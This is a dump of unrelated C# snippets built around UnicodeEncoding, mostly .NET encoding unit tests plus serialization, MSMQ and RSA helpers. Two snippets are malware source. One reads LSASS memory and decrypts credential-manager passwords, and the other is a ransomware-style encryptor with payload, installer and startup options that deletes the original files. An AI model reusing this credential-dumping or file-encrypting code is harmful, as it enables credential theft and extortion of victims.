public bool PosTest1() { bool retVal = true; UnicodeEncoding expectedValue = new UnicodeEncoding(false,true); UnicodeEncoding actualValue; TestLibrary.TestFramework.BeginScenario("PosTest1:Create a instance"); try { actualValue = new UnicodeEncoding(); if (!expectedValue.Equals(actualValue)) { TestLibrary.TestFramework.LogError("001", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Unexpected exception:" + e); retVal = false; } return retVal; }
public bool PosTest1() { bool retVal = true; UnicodeEncoding uEncoding = new UnicodeEncoding(); int expectedValue = 0; int actualValue; TestLibrary.TestFramework.BeginScenario("PosTest1:Invoke the method with a empty String."); try { actualValue = uEncoding.GetByteCount(""); if (expectedValue != actualValue) { TestLibrary.TestFramework.LogError("001", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Unexpected exception:" + e); retVal = false; } return retVal; }
public static void VerifyUnicodeEncoding(UnicodeEncoding encoding, bool bigEndian, bool byteOrderMark, bool throwOnInvalidBytes) { if (byteOrderMark) { if (bigEndian) { Assert.Equal(new byte[] { 0xfe, 0xff }, encoding.GetPreamble()); } else { Assert.Equal(new byte[] { 0xff, 0xfe }, encoding.GetPreamble()); } } else { Assert.Empty(encoding.GetPreamble()); } if (throwOnInvalidBytes) { Assert.Equal(EncoderFallback.ExceptionFallback, encoding.EncoderFallback); Assert.Equal(DecoderFallback.ExceptionFallback, encoding.DecoderFallback); } else { Assert.Equal(new EncoderReplacementFallback("\uFFFD"), encoding.EncoderFallback); Assert.Equal(new DecoderReplacementFallback("\uFFFD"), encoding.DecoderFallback); } }
public void PosTest1() { UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetByteCount(""); Assert.Equal(0, actualValue); }
public void PosTest1() { UnicodeEncoding expectedValue = new UnicodeEncoding(false, true); UnicodeEncoding actualValue; actualValue = new UnicodeEncoding(); Assert.Equal(expectedValue, actualValue); }
public void PosTest3() { UnicodeEncoding uEncoding = new UnicodeEncoding(); bool actualValue; actualValue = uEncoding.Equals(new TimeSpan()); Assert.False(actualValue); }
public bool PosTest2() { bool retVal = true; int expectedValue = 2; int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); TestLibrary.TestFramework.BeginScenario("PosTest2:Invoke the method and set byteCount as 1."); try { actualValue = uE.GetMaxCharCount(1); if (expectedValue != actualValue) { TestLibrary.TestFramework.LogError("003", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception:" + e); retVal = false; } return retVal; }
public bool PosTest1() { bool retVal = true; int expectedValue; int actualValue; UnicodeEncoding uE1 = new UnicodeEncoding(); UnicodeEncoding uE2 = new UnicodeEncoding(); TestLibrary.TestFramework.BeginScenario("PosTest1:Invoke the method."); try { expectedValue = uE1.GetHashCode(); actualValue = uE2.GetHashCode(); if (expectedValue != actualValue) { TestLibrary.TestFramework.LogError("001", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Unexpected exception:" + e); retVal = false; } return retVal; }
public byte[] toByteArray() { UnicodeEncoding encoding = new UnicodeEncoding(); byte[] player_bytes = encoding.GetBytes(player); byte[] description_bytes = encoding.GetBytes(description); byte[] bytes = new byte[12 + player_bytes.Length + description_bytes.Length + image.Length]; int array_index = 0; KLFCommon.intToBytes(index).CopyTo(bytes, array_index); array_index += 4; KLFCommon.intToBytes(player_bytes.Length).CopyTo(bytes, array_index); array_index += 4; player_bytes.CopyTo(bytes, array_index); array_index += player_bytes.Length; KLFCommon.intToBytes(description_bytes.Length).CopyTo(bytes, array_index); array_index += 4; description_bytes.CopyTo(bytes, array_index); array_index += description_bytes.Length; image.CopyTo(bytes, array_index); return bytes; }
public bool PosTest2() { bool retVal = true; UnicodeEncoding uEncoding1 = new UnicodeEncoding(); UnicodeEncoding uEncoding2 = new UnicodeEncoding(false, false); bool expectedValue = false; bool actualValue; TestLibrary.TestFramework.BeginScenario("PosTest2:Invoke the method with two instance that not equal."); try { actualValue = uEncoding1.Equals(uEncoding2); if (expectedValue != actualValue) { TestLibrary.TestFramework.LogError("003", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception:" + e); retVal = false; } return retVal; }
public bool PosTest2() { bool retVal = true; UnicodeEncoding uE = new UnicodeEncoding(true, true); Byte[] expectedValue = new Byte[] { 0xfe,0xff}; Byte[] actualValue; TestLibrary.TestFramework.BeginScenario("PosTest2:Invoke the method with bigEndian true and byteOrderMark true."); try { actualValue = uE.GetPreamble(); if (expectedValue.Equals(actualValue)) { TestLibrary.TestFramework.LogError("003", "ExpectedValue(" + expectedValue + ") !=ActualValue(" + actualValue + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception:" + e); retVal = false; } return retVal; }
public void Ctor_Bool_Bool(bool bigEndian, bool byteOrderMark) { UnicodeEncoding encoding = new UnicodeEncoding(bigEndian, byteOrderMark); VerifyUnicodeEncoding(encoding, bigEndian, byteOrderMark, throwOnInvalidBytes: false); Ctor_Bool_Bool_Bool(bigEndian, byteOrderMark, throwOnInvalidBytes: true); Ctor_Bool_Bool_Bool(bigEndian, byteOrderMark, throwOnInvalidBytes: false); }
public void PosTest1() { Char[] chars = new Char[] { }; UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetByteCount(chars, 0, 0); Assert.Equal(0, actualValue); }
public void PosTest2() { UnicodeEncoding uEncoding1 = new UnicodeEncoding(); UnicodeEncoding uEncoding2 = new UnicodeEncoding(false, false); bool actualValue; actualValue = uEncoding1.Equals(uEncoding2); Assert.False(actualValue); }
public void PosTest3() { String str = GetString(1); UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetByteCount(str); Assert.Equal(2, actualValue); }
public static IEnumerable<object[]> GetCharCount_TestData() { string randomString = EncodingHelpers.GetRandomString(10); byte[] randomBytes = new UnicodeEncoding().GetBytes(randomString); yield return new object[] { randomBytes, 0, randomBytes.Length, randomBytes.Length / 2 }; yield return new object[] { randomBytes, 0, 0, 0 }; yield return new object[] { randomBytes, randomBytes.Length, 0, 0 }; yield return new object[] { randomBytes, 0, 2, 1 }; }
public void PosTest2() { int expectedValue = 2; int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); actualValue = uE.GetMaxCharCount(1); Assert.Equal(expectedValue, actualValue); }
public void NegTest1() { UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; Assert.Throws<ArgumentNullException>(() => { actualValue = uEncoding.GetByteCount(null, 0, 0); }); }
public void PosTest3() { Char[] chars = GetCharArray(1); UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetByteCount(chars, 0, 1); Assert.Equal(2, actualValue); }
public void PosTest3() { UnicodeEncoding uE = new UnicodeEncoding(false, true); Byte[] expectedValue = new Byte[] { 0xff, 0xfe }; Byte[] actualValue; actualValue = uE.GetPreamble(); Assert.Equal(expectedValue, actualValue); }
public void PosTest3() { Char[] chars = GetCharArray(10); Byte[] bytes = new Byte[20]; UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetBytes(chars, 0, 0, bytes, 20); Assert.Equal(0, actualValue); }
public void NegTest2() { int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); Assert.Throws<ArgumentOutOfRangeException>(() => { actualValue = uE.GetMaxByteCount(int.MaxValue / 2); }); }
public void PosTest3() { int byteCount = _generator.GetInt32(-55); int expectedValue = (byteCount + 1) / 2 + 1; int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); actualValue = uE.GetMaxCharCount(byteCount); Assert.Equal(expectedValue, actualValue); }
public void NegTest1() { int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); Assert.Throws<ArgumentOutOfRangeException>(() => { actualValue = uE.GetMaxCharCount(-1); }); }
public void NegTest3() { Char[] chars = GetCharArray(10); UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; Assert.Throws<ArgumentOutOfRangeException>(() => { actualValue = uEncoding.GetByteCount(chars, 5, -1); }); }
public void PosTest2() { String str = GetString(10); UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; String temp = ToString(str); actualValue = uEncoding.GetByteCount(str); Assert.Equal(20, actualValue); }
public void PosTest3() { String chars = GetString(10); Byte[] bytes = new Byte[30]; UnicodeEncoding uEncoding = new UnicodeEncoding(); int actualValue; actualValue = uEncoding.GetBytes(chars, 0, 0, bytes, 30); Assert.Equal(0, actualValue); }
public static IEnumerable<object[]> GetString_TestData() { string randomString = EncodingHelpers.GetRandomString(10); byte[] randomBytes = new UnicodeEncoding().GetBytes(randomString); yield return new object[] { randomBytes, 0, randomBytes.Length, randomString }; yield return new object[] { randomBytes, 0, 2, randomString.Substring(0, 1) }; yield return new object[] { randomBytes, 0, 0, string.Empty }; yield return new object[] { randomBytes, randomBytes.Length, 0, string.Empty }; }
public void PosTest3() { int charCount = (_generator.GetInt32(-55) % Int32.MaxValue + 1) / 2; int expectedValue = (charCount + 1) * 2; int actualValue; UnicodeEncoding uE = new UnicodeEncoding(); actualValue = uE.GetMaxByteCount(charCount); Assert.Equal(expectedValue, actualValue); }
// Use this for initialization private void Start() { int count; byte[] byteArray; char[] charArray; UnicodeEncoding uniEncoding = new UnicodeEncoding(); // Create the data to write to the stream. byte[] firstString = uniEncoding.GetBytes( "Invalid file path characters are: "); byte[] secondString = uniEncoding.GetBytes( "123456789"); using (MemoryStream memStream = new MemoryStream(100)) { // Write the first string to the stream. memStream.Write(firstString, 0, firstString.Length); // Write the second string to the stream, byte by byte. count = 0; while (count < secondString.Length) { memStream.WriteByte(secondString[count++]); } // Write the stream properties to the console. Debug.Log(String.Format( "Capacity = {0}, Length = {1}, Position = {2}\n", memStream.Capacity.ToString(), memStream.Length.ToString(), memStream.Position.ToString())); // Set the position to the beginning of the stream. memStream.Seek(0, SeekOrigin.Begin); // Read the first 20 bytes from the stream. byteArray = new byte[memStream.Length]; count = memStream.Read(byteArray, 0, 20); // Read the remaining bytes, byte by byte. while (count < memStream.Length) { byteArray[count++] = Convert.ToByte(memStream.ReadByte()); } // Decode the byte array into a char array // and write it to the console. charArray = new char[uniEncoding.GetCharCount( byteArray, 0, count)]; uniEncoding.GetDecoder().GetChars( byteArray, 0, count, charArray, 0); Debug.Log(charArray); } }
public static string UTF16BytesToString(byte[] input_in) { System.Text.UnicodeEncoding _enc = new UnicodeEncoding(); return(_enc.GetString(input_in)); }
public StreamString(Stream ioStream) { this.ioStream = ioStream; streamEncoding = new UnicodeEncoding(); }
public StreamString(Stream ioStream) { _ioStream = ioStream; _sEncoding = new UnicodeEncoding(); }
//Method for extraction private void ExtractTest(string directory) { PropertyItem propertyItem; ASCIIEncoding ascii = new ASCIIEncoding(); UnicodeEncoding uni = new UnicodeEncoding(); int[] tagDecimal = { 40091, 50971, 40094, 40095, 40092, 36867, 270 }; /* tagDecimal array stores Decimal Representation of relevant Exif properties tag ID * 40091 XPtitle () 0 * 50971 Date/time ISO8601 1 * 40094 XPkeywords (category) 2 * 40095 XPsubject (description) 3 * 40092 XPcomment 4 * 36867 DateTimeOriginal * 270 ImageComment */ DirectoryInfo directoryInfo = new DirectoryInfo(directory); FileInfo[] files = directoryInfo.GetFiles("*.jpg"); string[] imageFiles = Directory.GetFiles(directory, "*.jpg").Select(Path.GetFileName).ToArray(); string[] extensions = new[] { ".jpg", ".jpeg", ".png" }; FileInfo[] imagefiles = directoryInfo.EnumerateFiles() .Where(f => extensions.Contains(f.Extension.ToLower())) .ToArray(); var varItem = (PropertyItem)FormatterServices.GetUninitializedObject(typeof(PropertyItem)); propertyItem = varItem; //PropertyItem contains no constructor that can be called without arguments, has a constructor with descernable arguments ImageData imageData = new ImageData(); string[] tagID = { "FN=", "DT=", "CT=", "DS=", "CM=", }; string[] tagArray = new string[tagID.Length - 1]; lines = new string[imageFiles.Length]; for (int i = 0; i < imageFiles.Length; i++) { imageData.FileName = tagID[0] + imageFiles[i]; string filePath = directory + "\\" + imageFiles[i]; Image testimage = new Bitmap(filePath); string extention = imageData.FileName.Substring(imageData.FileName.Length - 4, 4); // (dataExtractor.imageData[i].data[n].Equals(input, StringComparison.OrdinalIgnoreCase)) if (extention.Equals(".jpg", StringComparison.OrdinalIgnoreCase)) { //This loop stores Exif data into lines for (int j = 1; j < tagID.Length; j++) { foreach (string singleTag in tagID) { { //Set property item id to the relevant tag decimal tag ID propertyItem.Id = tagDecimal[j]; //The were errors transfering ascii and unicode to strings, and string arrays if (j == 1) //these were completely avoided by storing to imageData.data[n] instead of arrays in this class { try { imageData.Date = tagID[j]; //tagID[n] must be stored first storing after results in corrupted data propertyItem = testimage.GetPropertyItem(tagDecimal[j]); //ASCII imageData.Date += ascii.GetString(propertyItem.Value); //Date tag uses ascii encoding } catch { imageData.Date += ""; //set to "" } } else { try { imageData.data[j] = tagID[j]; propertyItem = testimage.GetPropertyItem(tagDecimal[j]); //Unicode imageData.data[j] += uni.GetString(propertyItem.Value); //all the other tags use unicode } catch { imageData.data[j] += ""; //set to "" } } } } } } lines[i] = string.Join(",", imageData.data) + ",>"; //Now tags have been stored in imageData without being corrupted the data can now be stored in lines indirectly } }
private static void UpdateSalary(UnicodeEncoding unicodeEncoding, MemoryStream ms, decimal salary) { string newValue = salary.ToString().PadRight(SalaryLength / 2); Updatefield(unicodeEncoding, ms, SalaryOffset, SalaryLength, newValue); }
public static int FindCredentials(IntPtr hLsass, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { foreach (Logon logon in logonlist) { IntPtr credmanMem = logon.pCredentialManager; LUID luid = logon.LogonId; IntPtr llCurrent; int reference = 1; //Console.WriteLine("[*] Credman CredmanListSet found at address {0:X} {1:X}", luid.LowPart, credmanMem.ToInt64()); byte[] credmansetBytes = Utility.ReadFromLsass(ref hLsass, credmanMem, Marshal.SizeOf(typeof(KIWI_CREDMAN_SET_LIST_ENTRY))); IntPtr pList1 = new IntPtr(BitConverter.ToInt64(credmansetBytes, Utility.FieldOffset <KIWI_CREDMAN_SET_LIST_ENTRY>("list1"))); IntPtr refer = IntPtr.Add(pList1, Utility.FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start")); byte[] credmanstarterBytes = Utility.ReadFromLsass(ref hLsass, pList1, Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_STARTER))); IntPtr pStart = new IntPtr(BitConverter.ToInt64(credmanstarterBytes, Utility.FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start"))); if (pStart == IntPtr.Zero) { continue; } llCurrent = pStart; if (llCurrent == refer) { continue; } do { byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Subtract(llCurrent, Utility.FieldOffset <KIWI_CREDMAN_LIST_ENTRY>("Flink")), Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_ENTRY))); KIWI_CREDMAN_LIST_ENTRY entry = Utility.ReadStruct <KIWI_CREDMAN_LIST_ENTRY>(entryBytes); string username = Utility.ExtractUnicodeStringString(hLsass, entry.user); string domain = Utility.ExtractUnicodeStringString(hLsass, entry.server1); string passDecrypted = ""; byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, entry.encPassword, entry.cbEncPassword); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); if (msvDecryptedPasswordBytes != null && msvDecryptedPasswordBytes.Length > 0) { UnicodeEncoding encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = Utility.PrintHexBytes(msvDecryptedPasswordBytes); } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Credential.CredMan credmanentry = new Credential.CredMan(); credmanentry.Reference = reference; credmanentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { credmanentry.DomainName = domain; } else { credmanentry.DomainName = "[NULL]"; } // Check if password is present if (!string.IsNullOrEmpty(passDecrypted)) { credmanentry.Password = passDecrypted; } else { credmanentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Credman = new List <Credential.CredMan>(); currentlogon.Credman.Add(credmanentry); logonlist.Add(currentlogon); } else { if (currentlogon.Credman == null) { currentlogon.Credman = new List <Credential.CredMan>(); } currentlogon.Credman.Add(credmanentry); } } reference++; llCurrent = entry.Flink; } while (llCurrent != IntPtr.Zero && llCurrent != refer); } return(0); }
public static void DoEncryption(bool PayloadMode, bool InstallerMode, bool OpenURLOnStartupMode, bool CustomIconMode) { OpenFileDialog CryptFile = new OpenFileDialog(); if (CryptFile.ShowDialog() == true) { if (MessageBox.Show("Are you sure you want to ecrypt " + CryptFile.FileName + "? You can decrypt it later if you need to" + Environment.NewLine + "Make sure that you remember your encryption key or your files will be GONE!", "Attention!", MessageBoxButton.YesNo, MessageBoxImage.Warning) == MessageBoxResult.Yes) { try { if (PayloadMode == false && InstallerMode == false && OpenURLOnStartupMode == false && CustomIconMode == false) { string password = @DataAndResources.KeysAndData.EKey; UnicodeEncoding UE = new UnicodeEncoding(); byte[] key = UE.GetBytes(password); string CryptFileDir = CryptFile.FileName; FileStream CryptFileStream = new FileStream(CryptFileDir + ".AntCrypted", FileMode.Create); RijndaelManaged RMCrypto = new RijndaelManaged(); CryptoStream CryptoStream = new CryptoStream(CryptFileStream, RMCrypto.CreateEncryptor(key, key), CryptoStreamMode.Write); FileStream FileOpenStream = new FileStream(CryptFileDir, FileMode.Open); int data; while ((data = FileOpenStream.ReadByte()) != -1) { CryptoStream.WriteByte((byte)data); } FileOpenStream.Close(); CryptoStream.Close(); CryptFileStream.Close(); File.Delete(CryptFile.FileName); MessageBox.Show("File was ecrypted successfully!", "Information!", MessageBoxButton.OK, MessageBoxImage.Information); } else { string password = @DataAndResources.KeysAndData.EKey; UnicodeEncoding UE = new UnicodeEncoding(); byte[] key = UE.GetBytes(password); string CryptFileDir = CryptFile.FileName; FileStream CryptFileStream = new FileStream(CryptFileDir + ".AntCrypted", FileMode.Create); RijndaelManaged RMCrypto = new RijndaelManaged(); CryptoStream CryptoStream = new CryptoStream(CryptFileStream, RMCrypto.CreateEncryptor(key, key), CryptoStreamMode.Write); FileStream FileOpenStream = new FileStream(CryptFileDir, FileMode.Open); int data; while ((data = FileOpenStream.ReadByte()) != -1) { CryptoStream.WriteByte((byte)data); } FileOpenStream.Close(); CryptoStream.Close(); CryptFileStream.Close(); EncryptedContent = File.ReadAllBytes(CryptFileDir + ".AntCrypted"); File.Delete(CryptFileDir + ".AntCrypted"); MessageBox.Show("File was ecrypted successfully! Payload mode was enabled please wait for the payload confirmation message!", "Information!", MessageBoxButton.OK, MessageBoxImage.Information); PayloadWorker.Payload(EncryptedContent, InstallerMode, InstallerWorker.RawDirectory, OpenURLOnStartupMode, URLOnStartupWorker.StartupURI, CustomIconMode, CustomIconWorker.CustomIconDirectory, DataAndResources.KeysAndData.EKey, InstallerWorker.AppName, InstallerWindow.RunOnStartupSelected); } } catch (Exception exc) { MessageBox.Show("Encryption failed, have you used a valid RijndaelManaged encryption key?Erro info: " + exc, "Warning!", MessageBoxButton.OK, MessageBoxImage.Error); } } } }
/// <include file='doc\ActiveXMessageFormatter.uex' path='docs/doc[@for="ActiveXMessageFormatter.Read"]/*' /> /// <devdoc> /// This method is used to read the contents from the given message /// and create an object. /// </devdoc> public object Read(Message message) { if (message == null) { throw new ArgumentNullException("message"); } Stream stream; byte[] bytes; byte[] newBytes; int size; int variantType = message.BodyType; switch (variantType) { case VT_LPSTR: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); size = message.properties.GetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE); if (this.internalCharBuffer == null || this.internalCharBuffer.Length < size) { this.internalCharBuffer = new char[size]; } if (asciiEncoding == null) { this.asciiEncoding = new ASCIIEncoding(); } this.asciiEncoding.GetChars(bytes, 0, size, this.internalCharBuffer, 0); return(new String(this.internalCharBuffer, 0, size)); case VT_BSTR: case VT_LPWSTR: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); size = message.properties.GetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE) / 2; if (this.internalCharBuffer == null || this.internalCharBuffer.Length < size) { this.internalCharBuffer = new char[size]; } if (unicodeEncoding == null) { this.unicodeEncoding = new UnicodeEncoding(); } this.unicodeEncoding.GetChars(bytes, 0, size * 2, this.internalCharBuffer, 0); return(new String(this.internalCharBuffer, 0, size)); case VT_VECTOR | VT_UI1: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); size = message.properties.GetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE); newBytes = new byte[size]; Array.Copy(bytes, newBytes, size); return(newBytes); case VT_BOOL: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); newBytes = new byte[1]; Array.Copy(bytes, newBytes, 1); if (bytes[0] != 0) { return(true); } return(false); case VT_CLSID: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); newBytes = new byte[16]; Array.Copy(bytes, newBytes, 16); return(new Guid(newBytes)); case VT_CY: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); newBytes = new byte[8]; Array.Copy(bytes, newBytes, 8); return(Decimal.FromOACurrency(BitConverter.ToInt64(newBytes, 0))); case VT_DATE: bytes = message.properties.GetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY); newBytes = new byte[8]; Array.Copy(bytes, newBytes, 8); return(new DateTime(BitConverter.ToInt64(newBytes, 0))); case VT_I1: case VT_UI1: stream = message.BodyStream; bytes = new byte[1]; stream.Read(bytes, 0, 1); return(bytes[0]); case VT_I2: stream = message.BodyStream; bytes = new byte[2]; stream.Read(bytes, 0, 2); return(BitConverter.ToInt16(bytes, 0)); case VT_UI2: stream = message.BodyStream; bytes = new byte[2]; stream.Read(bytes, 0, 2); return(BitConverter.ToUInt16(bytes, 0)); case VT_I4: stream = message.BodyStream; bytes = new byte[4]; stream.Read(bytes, 0, 4); return(BitConverter.ToInt32(bytes, 0)); case VT_UI4: stream = message.BodyStream; bytes = new byte[4]; stream.Read(bytes, 0, 4); return(BitConverter.ToUInt32(bytes, 0)); case VT_I8: stream = message.BodyStream; bytes = new byte[8]; stream.Read(bytes, 0, 8); return(BitConverter.ToInt64(bytes, 0)); case VT_UI8: stream = message.BodyStream; bytes = new byte[8]; stream.Read(bytes, 0, 8); return(BitConverter.ToUInt64(bytes, 0)); case VT_R4: stream = message.BodyStream; bytes = new byte[4]; stream.Read(bytes, 0, 4); return(BitConverter.ToSingle(bytes, 0)); case VT_R8: stream = message.BodyStream; bytes = new byte[8]; stream.Read(bytes, 0, 8); return(BitConverter.ToDouble(bytes, 0)); case VT_NULL: return(null); case VT_STREAMED_OBJECT: stream = message.BodyStream; ComStreamFromDataStream comStream = new ComStreamFromDataStream(stream); return(NativeMethods.OleLoadFromStream(comStream, ref NativeMethods.IID_IUnknown)); case VT_STORED_OBJECT: throw new NotSupportedException(Res.GetString(Res.StoredObjectsNotSupported)); default: throw new InvalidOperationException(Res.GetString(Res.InvalidTypeDeserialization)); } }
/// <summary> /// Encrypt a token with an RSA public key /// </summary> /// <param name="plainText">Plaintext string</param> /// <returns>Encrypted string</returns> public string Encrypt(string plainText) { //// read pem public key Stream s = System.Reflection.Assembly.GetExecutingAssembly(). GetManifestResourceStream("KountRisSdk.kount.rsa.public.key"); System.IO.StreamReader reader = new System.IO.StreamReader(s, Encoding.UTF8); string pem = reader.ReadToEnd(); string header = String.Format("-----BEGIN PUBLIC KEY-----"); string footer = String.Format("-----END PUBLIC KEY-----"); int start = pem.IndexOf(header, StringComparison.Ordinal) + header.Length; int end = pem.IndexOf(footer, start, StringComparison.Ordinal) - start; byte[] key = Convert.FromBase64String(pem.Substring(start, end)); UnicodeEncoding converter = new UnicodeEncoding(); byte[] plainBytes = converter.GetBytes(plainText); RSACryptoServiceProvider rsa = null; //// encoded OID sequence for PKCS #1 rsaEncryption szOID_RSA_RSA = "1.2.840.113549.1.1.1" byte[] seqOID = { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 }; byte[] seq = new byte[15]; //// Read the asn.1 encoded SubjectPublicKeyInfo blob System.IO.MemoryStream mem = new System.IO.MemoryStream(key); System.IO.BinaryReader binr = new System.IO.BinaryReader(mem); byte bt = 0; ushort twobytes = 0; try { twobytes = binr.ReadUInt16(); if (twobytes == 0x8130) { //// data read as little endian order //// (actual data order for Sequence is 30 81) binr.ReadByte(); //// advance 1 byte } else if (twobytes == 0x8230) { binr.ReadInt16(); //// advance 2 bytes } else { return(null); } seq = binr.ReadBytes(15); //// read the Sequence OID if (!this.CompareBytearrays(seq, seqOID)) { //// make sure Sequence for OID is correct return(null); } twobytes = binr.ReadUInt16(); if (twobytes == 0x8103) { //// data read as little endian order (actual data order for Bit String is 03 81) binr.ReadByte(); //// advance 1 byte } else if (twobytes == 0x8203) { binr.ReadInt16(); //// advance 2 bytes } else { return(null); } bt = binr.ReadByte(); if (bt != 0x00) { //// expect null byte next return(null); } twobytes = binr.ReadUInt16(); if (twobytes == 0x8130) { //// data read as little endian order (actual data order for Sequence is 30 81) binr.ReadByte(); //// advance 1 byte } else if (twobytes == 0x8230) { binr.ReadInt16(); //// advance 2 bytes } else { return(null); } twobytes = binr.ReadUInt16(); byte lowbyte = 0x00; byte highbyte = 0x00; if (twobytes == 0x8102) { //// data read as little endian order //// (actual data order for Integer is 02 81) lowbyte = binr.ReadByte(); //// read next bytes which is bytes in modulus } else if (twobytes == 0x8202) { highbyte = binr.ReadByte(); //// advance 2 bytes lowbyte = binr.ReadByte(); } else { return(null); } byte[] modint = { lowbyte, highbyte, 0x00, 0x00 }; int modsize = BitConverter.ToInt32(modint, 0); int firstbyte = binr.PeekChar(); if (firstbyte == 0x00) { //// if first byte (highest order) of modulus is zero, don't include it binr.ReadByte(); //// skip this null byte modsize -= 1; //// reduce modulus buffer size by 1 } byte[] modulus = binr.ReadBytes(modsize); //// read the modulus bytes if (binr.ReadByte() != 0x02) { //// expect an Integer for the exponent data return(null); } int expbytes = (int)binr.ReadByte(); byte[] exponent = binr.ReadBytes(expbytes); //// create RSACryptoServiceProvider instance and initialize public key rsa = new RSACryptoServiceProvider(); RSAParameters rsaKeyInfo = new RSAParameters(); rsaKeyInfo.Modulus = modulus; rsaKeyInfo.Exponent = exponent; rsa.ImportParameters(rsaKeyInfo); } finally { binr.Close(); } byte[] encryptedBytes = rsa.Encrypt(plainBytes, false); return(Convert.ToBase64String(encryptedBytes)); }
public static string ByteToString(byte[] byteValue) { UnicodeEncoding ByteConverter = new UnicodeEncoding(); return(ByteConverter.GetString(byteValue)); }
public static byte[] StringToByte(string strValue) { UnicodeEncoding ByteConverter = new UnicodeEncoding(); return(ByteConverter.GetBytes(strValue)); }
public static void dotnetRSA() { try { Console.Clear(); Console.Write("Введите сообщение: \n"); string message = Console.ReadLine(); UnicodeEncoding ByteConverter = new UnicodeEncoding(); byte[] dataToEncrypt = ByteConverter.GetBytes(message), encryptedData, decryptedData; string pathPrivateKey = "privateKey.xml", pathPublicKey = "publicKey.xml", privateKey = string.Empty, publicKey = string.Empty; using (RSACryptoServiceProvider RSA = new RSACryptoServiceProvider()) { RSAParameters RSAParametersPublic = RSA.ExportParameters(false); RSAParameters RSAParametersPrivate = RSA.ExportParameters(true); if (File.Exists(pathPrivateKey) && File.Exists(pathPublicKey)) { using (FileStream fs = File.OpenRead(pathPrivateKey)) { byte[] array = new byte[fs.Length]; fs.Read(array, 0, array.Length); privateKey = Encoding.Default.GetString(array); } using (FileStream fs = File.OpenRead(pathPublicKey)) { byte[] array = new byte[fs.Length]; fs.Read(array, 0, array.Length); publicKey = Encoding.Default.GetString(array); } RSA.FromXmlString(publicKey); RSAParametersPublic = RSA.ExportParameters(false); RSA.FromXmlString(privateKey); RSAParametersPrivate = RSA.ExportParameters(true); } else { privateKey = RSA.ToXmlString(true); publicKey = RSA.ToXmlString(false); using (FileStream fs = new FileStream(pathPrivateKey, FileMode.Create, FileAccess.Write)) { byte[] array = Encoding.Default.GetBytes(privateKey); fs.Write(array, 0, array.Length); } using (FileStream fs = new FileStream(pathPublicKey, FileMode.Create, FileAccess.Write)) { byte[] array = Encoding.Default.GetBytes(publicKey); fs.Write(array, 0, array.Length); } RSAParametersPublic = RSA.ExportParameters(false); RSAParametersPrivate = RSA.ExportParameters(true); } encryptedData = RSAdotnet.RSAEncrypt(dataToEncrypt, RSAParametersPublic, false); Console.WriteLine("Зашифрованное сообщение:"); for (int i = 0; i < encryptedData.Length; i++) { Console.Write("{0} ", encryptedData[i]); } decryptedData = RSAdotnet.RSADecrypt(encryptedData, RSAParametersPrivate, false); Console.WriteLine(); Console.WriteLine("Расшифрованное сообщение: {0}", ByteConverter.GetString(decryptedData)); Console.ReadKey(); } } catch (ArgumentNullException) { Console.WriteLine("Ошибка шифрвоания!"); Console.ReadKey(); } }
